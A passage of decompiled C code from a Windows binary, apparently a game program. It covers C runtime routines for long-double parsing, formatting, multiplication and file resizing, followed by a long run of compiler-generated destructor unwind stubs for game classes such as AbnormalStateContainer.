LABEL_89: v7 = v23; continue; } if ( v11 == 45 ) { LABEL_87: exp_sign = -1; v7 = 7; continue; } LABEL_93: v9 = (const char *)v12; LABEL_71: *p_end_ptr = v9; if ( !found_digit ) { result_flags = 4; LABEL_118: v17 = 0; v20 = 0; v19 = 0; v18 = 0; goto LABEL_119; } if ( manlen > 0x18 ) { if ( v39 >= 5 ) ++v39; --v8; ++exp_adj; manlen = 24; } if ( !manlen ) goto LABEL_118; while ( 1 ) { --v8; if ( *v8 ) break; --manlen; ++exp_adj; } __mtold12(&buf, manlen, (_LDBL12 *)&tmpld12); v15 = pow; if ( exp_sign < 0 ) v15 = -pow; v16 = exp_adj + v15; if ( !found_exponent ) v16 += scale; if ( !found_decpoint ) v16 -= decpt; if ( v16 > 5200 ) { v18 = 0; v20 = 32767; v19 = -2147483648; v17 = 0; result_flags = 2; goto LABEL_119; } if ( v16 < -5200 ) { result_flags = 1; goto LABEL_118; } __multtenpow12((_LDBL12 *)&tmpld12, v16, mult12); v17 = tmpld12; v18 = *(int *)((char *)&tmpld12 + 2); v19 = v36; v20 = v37; LABEL_119: *(_WORD *)&pld12->ld12[0] = v17; *(_DWORD *)&pld12->ld12[2] = v18; *(_WORD *)&pld12->ld12[10] = man_sign | v20; result = result_flags; *(_DWORD *)&pld12->ld12[6] = v19; return result; default: goto LABEL_91; case 9: manp = v8; found_exponent = 1; v13 = 0; while ( 2 ) { if ( isdigit(v11) ) { v13 = (char)v11 + 10 * v13 - 48; if ( v13 <= 5200 ) { v11 = *v9++; continue; } v13 = 5201; } break; } pow = v13; for ( i = v11; isdigit(i); i = (unsigned __int8)i ) LOBYTE(i) = *v9++; v8 = manp; --v9; goto LABEL_71; } } } //----- (00613471) -------------------------------------------------------- int __cdecl _chsize_lk(int filedes, int size) { int v2; // esi@1 int v3; // eax@2 int v4; // edi@3 unsigned int v5; // eax@5 int v6; // eax@7 int v7; // eax@15 unsigned int *v8; // edi@16 int result; // eax@17 int mode; // [sp+8h] [bp-100Ch]@4 int v11; // [sp+Ch] [bp-1008h]@1 char buf; // [sp+10h] [bp-1004h]@4 unsigned int v13; // [sp+1010h] [bp-4h]@1 int v14; // [sp+1014h] [bp+0h]@1 v2 = 0; v13 = (unsigned int)&v14 ^ __security_cookie; v11 = _lseek_lk(filedes, 0, 1); if ( v11 == -1 || (v3 = _lseek_lk(filedes, 0, 2), v3 == -1) ) { result = -1; } else { v4 = size - v3; if ( size - v3 <= 0 ) { if ( size - v3 < 0 ) { _lseek_lk(filedes, size, 0); v7 = _get_osfhandle(filedes); v2 = (SetEndOfFile((HANDLE)v7) != 0) - 1; if ( v2 == -1 ) { *_errno() = 13; v8 = __doserrno(); *v8 = GetLastError(); } } } else { memset(&buf, 0, 0x1000u); mode = _setmode_lk(filedes, 32768); while ( 1 ) { v5 = 4096; if ( v4 < 4096 ) v5 = v4; v6 = _write_lk(filedes, &buf, v5); if ( v6 == -1 ) break; v4 -= v6; if ( v4 <= 0 ) goto LABEL_13; } if ( *__doserrno() == 5 ) *_errno() = 13; v2 = -1; LABEL_13: _setmode_lk(filedes, mode); } _lseek_lk(filedes, v11, 0); result = v2; } return result; } //----- (00613D98) -------------------------------------------------------- void __cdecl __mtold12(char *manptr, unsigned int manlen, _LDBL12 *ld12) { int v3; // edx@1 int v4; // eax@3 int v5; // edi@6 int v6; // eax@6 unsigned int v7; // [sp+Ch] [bp-1Ch]@2 char *v8; // [sp+10h] [bp-18h]@1 signed int expn; // [sp+14h] [bp-14h]@1 int tmp; // [sp+18h] [bp-10h]@3 int v11; // [sp+1Ch] [bp-Ch]@3 int v12; // [sp+20h] [bp-8h]@3 unsigned int v13; // [sp+24h] [bp-4h]@1 int v14; // [sp+28h] [bp+0h]@1 v13 = (unsigned int)&v14 ^ __security_cookie; v3 = 0; v8 = manptr; expn = 16462; *(_DWORD *)&ld12->ld12[0] = 0; *(_DWORD *)&ld12->ld12[4] = 0; *(_DWORD *)&ld12->ld12[8] = 0; if ( manlen ) { v7 = manlen; do { tmp = *(_DWORD *)&ld12->ld12[0]; v11 = *(_DWORD *)&ld12->ld12[4]; v12 = *(_DWORD *)&ld12->ld12[8]; __shl_12(ld12); __shl_12(ld12); __add_12(ld12, (_LDBL12 *)&tmp); __shl_12(ld12); v4 = *v8; v11 = 0; v12 = 0; tmp = v4; __add_12(ld12, (_LDBL12 *)&tmp); ++v8; --v7; } while ( v7 ); v3 = 0; } if ( *(_DWORD *)&ld12->ld12[8] == v3 ) { do { expn += 65520; v5 = *(_DWORD *)&ld12->ld12[4] >> 16; v6 = *(_DWORD *)&ld12->ld12[0] << 16; *(_DWORD *)&ld12->ld12[4] = *(_QWORD *)&ld12->ld12[0] >> 16; *(_DWORD *)&ld12->ld12[0] = v6; } while ( v5 == v3 ); *(_DWORD *)&ld12->ld12[8] = v5; } while ( !(*(_DWORD *)&ld12->ld12[8] & 0x8000) ) { __shl_12(ld12); expn += 65535; } *(_WORD *)&ld12->ld12[10] = expn; } //----- (00613E80) -------------------------------------------------------- int __cdecl _I10_OUTPUT(_LDOUBLE ld, int ndigits, unsigned int output_flags, _FloatOutStruct *fos) { unsigned __int16 v4; // dx@1 int v5; // edi@4 unsigned int v6; // ecx@22 int v7; // esi@22 int v8; // edi@24 int v9; // esi@29 int v10; // esi@32 char *v11; // eax@34 char *v12; // ecx@36 bool v13; // zf@36 int v14; // eax@38 char v15; // cl@38 int v16; // eax@38 bool v17; // sf@38 unsigned __int8 v18; // of@38 char *v19; // ecx@38 char v20; // al@46 const char *v22; // [sp-4h] [bp-44h]@10 const char *v23; // [sp-4h] [bp-44h]@14 int v24; // [sp+Ch] [bp-34h]@35 int retval; // [sp+10h] [bp-30h]@1 signed int p; // [sp+14h] [bp-2Ch]@29 char *pa; // [sp+14h] [bp-2Ch]@34 __int64 tmp12; // [sp+18h] [bp-28h]@1 int v29; // [sp+20h] [bp-20h]@1 char ld12_one_tenth; // [sp+24h] [bp-1Ch]@1 char v31; // [sp+25h] [bp-1Bh]@1 char v32; // [sp+26h] [bp-1Ah]@1 char v33; // [sp+27h] [bp-19h]@1 char v34; // [sp+28h] [bp-18h]@1 char v35; // [sp+29h] [bp-17h]@1 char v36; // [sp+2Ah] [bp-16h]@1 char v37; // [sp+2Bh] [bp-15h]@1 char v38; // [sp+2Ch] [bp-14h]@1 char v39; // [sp+2Dh] [bp-13h]@1 char v40; // [sp+2Eh] [bp-12h]@1 char v41; // [sp+2Fh] [bp-11h]@1 __int64 ld12; // [sp+30h] [bp-10h]@22 int v43; // [sp+38h] [bp-8h]@36 unsigned __int16 v44; // [sp+3Ah] [bp-6h]@22 unsigned int v45; // [sp+3Ch] [bp-4h]@1 int v46; // [sp+40h] [bp+0h]@1 tmp12 = *(_QWORD *)&ld; v45 = (unsigned int)&v46 ^ __security_cookie; LOWORD(v29) = *(_WORD *)&ld.ld[8]; ld12_one_tenth = -52; v31 = -52; v32 = -52; v33 = -52; v34 = -52; v35 = -52; v36 = -52; v37 = -52; v38 = -52; v39 = -52; v40 = -5; v41 = 63; retval = 1; v4 = *(_WORD *)&ld.ld[8] & 0x7FFF; if ( *(_WORD *)&ld.ld[8] & 0x8000 ) fos->sign = 45; else fos->sign = 32; v5 = HIDWORD(tmp12); if ( v4 || tmp12 ) { if ( v4 == 32767 ) { fos->exp = 1; if ( (v5 != -2147483648 || (_DWORD)tmp12) && !(v5 & 0x40000000) ) { v22 = "1#SNAN"; LABEL_21: strcpy(fos->man, v22); fos->ManLen = 6; return 0; } if ( *(_WORD *)&ld.ld[8] & 0x8000 && v5 == -1073741824 ) { if ( !(_DWORD)tmp12 ) { v23 = "1#IND"; LABEL_18: strcpy(fos->man, v23); fos->ManLen = 5; return 0; } } else { if ( v5 == -2147483648 && !(_DWORD)tmp12 ) { v23 = "1#INF"; goto LABEL_18; } } v22 = "1#QNAN"; goto LABEL_21; } LOWORD(ld12) = 0; v6 = 77 * (((unsigned int)v4 >> 8) + 2 * (HIDWORD(tmp12) >> 24)); *(__int64 *)((char *)&ld12 + 2) = tmp12; v7 = (signed int)(v6 + 19728 * v4 - 323162868) >> 16; v44 = *(_WORD *)&ld.ld[8] & 0x7FFF; __multtenpow12((_LDBL12 *)&ld12, -(signed __int16)((v6 + 19728 * v4 - 323162868) >> 16), 1u); if ( v44 >= 0x3FFFu ) { LOWORD(v7) = v7 + 1; __ld12mul((_LDBL12 *)&ld12, (_LDBL12 *)&ld12_one_tenth); } v8 = ndigits; fos->exp = v7; if ( !(output_flags & 1) || (v8 = (signed __int16)v7 + ndigits, v8 > 0) ) { if ( v8 > 21 ) v8 = 21; v9 = v44 - 16382; v44 = 0; p = 8; do { __shl_12((_LDBL12 *)&ld12); --p; } while ( p ); if ( v9 < 0 ) { v10 = -v9 & 0xFF; if ( v10 > 0 ) { do { __shr_12((_LDBL12 *)&ld12); --v10; } while ( v10 ); } } v11 = fos->man; pa = fos->man; if ( v8 + 1 > 0 ) { v24 = v8 + 1; do { tmp12 = ld12; v29 = v43; __shl_12((_LDBL12 *)&ld12); __shl_12((_LDBL12 *)&ld12); __add_12((_LDBL12 *)&ld12, (_LDBL12 *)&tmp12); __shl_12((_LDBL12 *)&ld12); v12 = pa++; v13 = v24-- == 1; *v12 = HIBYTE(v44) + 48; HIBYTE(v44) = 0; } while ( !v13 ); v11 = pa; } v14 = (int)(v11 - 1); v15 = *(_BYTE *)v14; v16 = v14 - 1; v18 = __OFSUB__(v15, 53); v17 = (char)(v15 - 53) < 0; v19 = fos->man; if ( v17 ^ v18 ) { while ( v16 >= (unsigned int)v19 && *(_BYTE *)v16 == 48 ) --v16; if ( v16 < (unsigned int)v19 ) { *v19 = 48; goto LABEL_54; } } else { while ( v16 >= (unsigned int)v19 && *(_BYTE *)v16 == 57 ) *(_BYTE *)v16-- = 48; if ( v16 < (unsigned int)v19 ) { ++v16; ++fos->exp; } ++*(_BYTE *)v16; } v20 = v16 - (_BYTE)fos - 3; fos->ManLen = v20; fos->man[v20] = 0; return retval; } } fos->man[0] = 48; LABEL_54: fos->exp = 0; fos->sign = 32; fos->ManLen = 1; fos->man[1] = 0; return 1; } //----- (0061438C) -------------------------------------------------------- void __cdecl __ld12mul(_LDBL12 *px, _LDBL12 *py) { __int16 v2; // cx@1 int v3; // eax@1 __int16 v4; // di@1 int v5; // ecx@1 __int16 v6; // di@1 int v7; // eax@1 __int16 v8; // di@1 unsigned __int16 v9; // dx@1 int v10; // eax@5 int v11; // ebx@29 int v12; // eax@36 signed int v13; // [sp+Ch] [bp-30h]@19 int i; // [sp+10h] [bp-2Ch]@17 char *v15; // [sp+14h] [bp-28h]@19 int sticky; // [sp+18h] [bp-24h]@1 char *v17; // [sp+1Ch] [bp-20h]@19 int *v18; // [sp+20h] [bp-1Ch]@17 signed int v19; // [sp+24h] [bp-18h]@17 int expsum; // [sp+28h] [bp-14h]@1 int expsuma; // [sp+28h] [bp-14h]@24 int tempman; // [sp+2Ch] [bp-10h]@1 int v23; // [sp+30h] [bp-Ch]@1 int v24; // [sp+34h] [bp-8h]@1 unsigned int v25; // [sp+38h] [bp-4h]@1 int v26; // [sp+3Ch] [bp+0h]@1 v25 = (unsigned int)&v26 ^ __security_cookie; v2 = *(_WORD *)&py->ld12[10]; sticky = 0; tempman = 0; v23 = 0; v24 = 0; v3 = *(_WORD *)&px->ld12[10]; v4 = v2; v5 = v2 & 0x7FFF; v6 = v3 ^ v4; v7 = v3 & 0x7FFF; v8 = v6 & 0x8000; v9 = v5 + v7; expsum = v5 + v7; if ( (unsigned __int16)v7 < 0x7FFFu && (unsigned __int16)v5 < 0x7FFFu && v9 <= 0xBFFDu ) { if ( v9 <= 0x3FBFu ) { v10 = 0; LABEL_16: *(_DWORD *)&px->ld12[8] = v10; *(_DWORD *)&px->ld12[4] = v10; *(_DWORD *)&px->ld12[0] = v10; return; } if ( (_WORD)v7 ) { v10 = 0; } else { ++expsum; v10 = 0; if ( !(*(_DWORD *)&px->ld12[8] & 0x7FFFFFFF) && !*(_DWORD *)&px->ld12[4] && !*(_DWORD *)&px->ld12[0] ) goto LABEL_46; } if ( (_WORD)v5 == (_WORD)v10 ) { ++expsum; if ( !(*(_DWORD *)&py->ld12[8] & 0x7FFFFFFF) ) { if ( *(_DWORD *)&py->ld12[4] == v10 && *(_DWORD *)&py->ld12[0] == v10 ) goto LABEL_16; } } i = v10; v18 = &v23; v19 = 5; do { if ( v19 > 0 ) { v15 = (char *)px + 2 * i; v17 = &py->ld12[8]; v13 = v19; do { if ( __addl(*(v18 - 1), *(_WORD *)v15 * *(_WORD *)v17, (unsigned int *)v18 - 1) ) ++*(_WORD *)v18; v15 += 2; v17 -= 2; --v13; } while ( v13 ); } v18 = (int *)((char *)v18 + 2); ++i; --v19; } while ( v19 > 0 ); expsuma = expsum + 49154; if ( (signed __int16)expsuma <= 0 ) goto LABEL_50; do { if ( BYTE3(v24) & 0x80 ) break; __shl_12((_LDBL12 *)&tempman); expsuma += 65535; } while ( (signed __int16)expsuma > 0 ); if ( (signed __int16)expsuma <= 0 ) { LABEL_50: LOWORD(expsuma) = expsuma - 1; if ( (signed __int16)expsuma < 0 ) { v11 = (unsigned __int16)-(signed __int16)expsuma; LOWORD(expsuma) = 0; do { if ( tempman & 1 ) ++sticky; __shr_12((_LDBL12 *)&tempman); --v11; } while ( v11 ); if ( sticky ) LOBYTE(tempman) = tempman | 1; } } if ( (unsigned __int16)tempman > 0x8000u || (v12 = tempman, (v12 & 0x1FFFF) == 98304) ) { if ( *(int *)((char *)&tempman + 2) == -1 ) { *(int *)((char *)&tempman + 2) = 0; if ( *(int *)((char *)&v23 + 2) == -1 ) { *(int *)((char *)&v23 + 2) = 0; if ( HIWORD(v24) == -1 ) { LOWORD(expsuma) = expsuma + 1; HIWORD(v24) = -32768; } else { ++HIWORD(v24); } } else { ++*(int *)((char *)&v23 + 2); } } else { ++*(int *)((char *)&tempman + 2); } } if ( (unsigned __int16)expsuma < 0x7FFFu ) { *(_WORD *)&px->ld12[0] = HIWORD(tempman); *(_DWORD *)&px->ld12[2] = v23; *(_DWORD *)&px->ld12[6] = v24; LOWORD(v10) = v8 | expsuma; LABEL_46: *(_WORD *)&px->ld12[10] = v10; return; } } *(_DWORD *)&px->ld12[4] = 0; *(_DWORD *)&px->ld12[0] = 0; *(_DWORD *)&px->ld12[8] = v8 != 0 ? -32768 : 2147450880; } //----- (006145C2) -------------------------------------------------------- void __cdecl __multtenpow12(_LDBL12 *pld12, int pow, unsigned int mult12) { _LDBL12 *v3; // ecx@1 int v4; // edx@1 char *v5; // ebx@1 char v6; // al@7 int v7; // eax@7 _LDBL12 *v8; // esi@8 int v9; // esi@9 int unround; // [sp+8h] [bp-10h]@9 int v11; // [sp+Ch] [bp-Ch]@9 int v12; // [sp+10h] [bp-8h]@9 unsigned int v13; // [sp+14h] [bp-4h]@1 int v14; // [sp+18h] [bp+0h]@1 v3 = pld12; v4 = 0; v5 = (char *)&_pow10pos - 96; v13 = (unsigned int)&v14 ^ __security_cookie; if ( pow ) { if ( pow < 0 ) { pow = -pow; v5 = (char *)&_pow10neg - 96; } if ( !mult12 ) *(_WORD *)&pld12->ld12[0] = 0; if ( pow ) { do { v6 = pow; pow >>= 3; v7 = v6 & 7; v5 += 84; if ( v7 != v4 ) { v8 = (_LDBL12 *)&v5[12 * v7]; if ( *(_WORD *)&v8->ld12[0] >= 0x8000u ) { unround = *(_DWORD *)&v8->ld12[0]; v9 = (int)&v8->ld12[4]; v11 = *(_DWORD *)v9; v12 = *(_DWORD *)(v9 + 4); --*(int *)((char *)&unround + 2); v8 = (_LDBL12 *)&unround; } __ld12mul(v3, v8); v3 = pld12; v4 = 0; } } while ( pow != v4 ); } } } //----- (00614830) -------------------------------------------------------- void __usercall _L183669(int a1) { AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(*(AbnormalStateContainer::AbnormalStateCouplePartyEnchant **)(a1 - 16)); } //----- (00614850) -------------------------------------------------------- void __usercall _L193236(int a1) { AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick((AbnormalStateContainer::AbstateElementInObject::ASE_Tick *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00616E70) -------------------------------------------------------- void __usercall _L191734(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00616E78) -------------------------------------------------------- void __usercall _L191735(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00616E80) -------------------------------------------------------- void __usercall _L191736(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00616EA0) -------------------------------------------------------- void __usercall _L191875(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(*(AbnormalStateContainer::SubAbnormalStateCaptivate **)(a1 - 16)); } //----- (00616EA8) -------------------------------------------------------- void __usercall _L191876(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00616EB3) -------------------------------------------------------- void __usercall _L191877(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00616EBE) -------------------------------------------------------- void __usercall _L191878(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00616EC9) -------------------------------------------------------- void __usercall _L191879(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00616ED4) -------------------------------------------------------- void __usercall _L191880(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00616EDF) -------------------------------------------------------- void __usercall _L191881(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00616EEA) -------------------------------------------------------- void __usercall _L191882(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00616EF5) -------------------------------------------------------- void __usercall _L191883(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (00616F00) -------------------------------------------------------- void __usercall _L191884(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (00616F0B) -------------------------------------------------------- void __usercall _L191885(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 40)); } //----- (00616F16) -------------------------------------------------------- void __usercall _L191886(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (00616F21) -------------------------------------------------------- void __usercall _L191887(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (00616F2C) -------------------------------------------------------- void __usercall _L191888(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 52)); } //----- (00616F37) -------------------------------------------------------- void __usercall _L191889(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (00616F42) -------------------------------------------------------- void __usercall _L191890(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (00616F4D) -------------------------------------------------------- void __usercall _L191891(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (00616F58) -------------------------------------------------------- void __usercall _L191892(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00616F63) -------------------------------------------------------- void __usercall _L191893(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (00616F6E) -------------------------------------------------------- void __usercall _L191894(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 76)); } //----- (00616F79) -------------------------------------------------------- void __usercall _L191895(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 80)); } //----- (00616F84) -------------------------------------------------------- void __usercall _L191896(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 84)); } //----- (00616F8F) -------------------------------------------------------- void __usercall _L191897(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (00616F9A) -------------------------------------------------------- void __usercall _L191898(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 92)); } //----- (00616FA5) -------------------------------------------------------- void __usercall _L191899(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 96)); } //----- (00616FB0) -------------------------------------------------------- void __usercall _L191900(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00616FBB) -------------------------------------------------------- void __usercall _L191901(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 104)); } //----- (00616FC6) -------------------------------------------------------- void __usercall _L191902(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (00616FD1) -------------------------------------------------------- void __usercall _L191903(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (00616FDC) -------------------------------------------------------- void __usercall _L191904(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (00616FE7) -------------------------------------------------------- void __usercall _L191905(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 120)); } //----- (00616FF2) -------------------------------------------------------- void __usercall _L191906(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 124)); } //----- (00616FFD) -------------------------------------------------------- void __usercall _L191907(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 128)); } //----- (0061700B) -------------------------------------------------------- void __usercall _L191908(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (00617019) -------------------------------------------------------- void __usercall _L191909(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 136)); } //----- (00617027) -------------------------------------------------------- void __usercall _L191910(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (00617035) -------------------------------------------------------- void __usercall _L191911(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 144)); } //----- (00617043) -------------------------------------------------------- void __usercall _L191912(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 148)); } //----- (00617051) -------------------------------------------------------- void __usercall _L191913(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 152)); } //----- (0061705F) -------------------------------------------------------- void __usercall _L191914(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (0061706D) -------------------------------------------------------- void __usercall _L191915(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 160)); } //----- (0061707B) -------------------------------------------------------- void __usercall _L191916(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00617089) -------------------------------------------------------- void __usercall _L191917(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (00617097) -------------------------------------------------------- void __usercall _L191918(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 172)); } //----- (006170A5) -------------------------------------------------------- void __usercall _L191919(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 176)); } //----- (006170B3) -------------------------------------------------------- void __usercall _L191920(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 180)); } //----- (006170C1) -------------------------------------------------------- void __usercall _L191921(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 184)); } //----- (006170CF) -------------------------------------------------------- void __usercall _L191922(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 188)); } //----- (006170DD) -------------------------------------------------------- void __usercall _L191923(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 192)); } 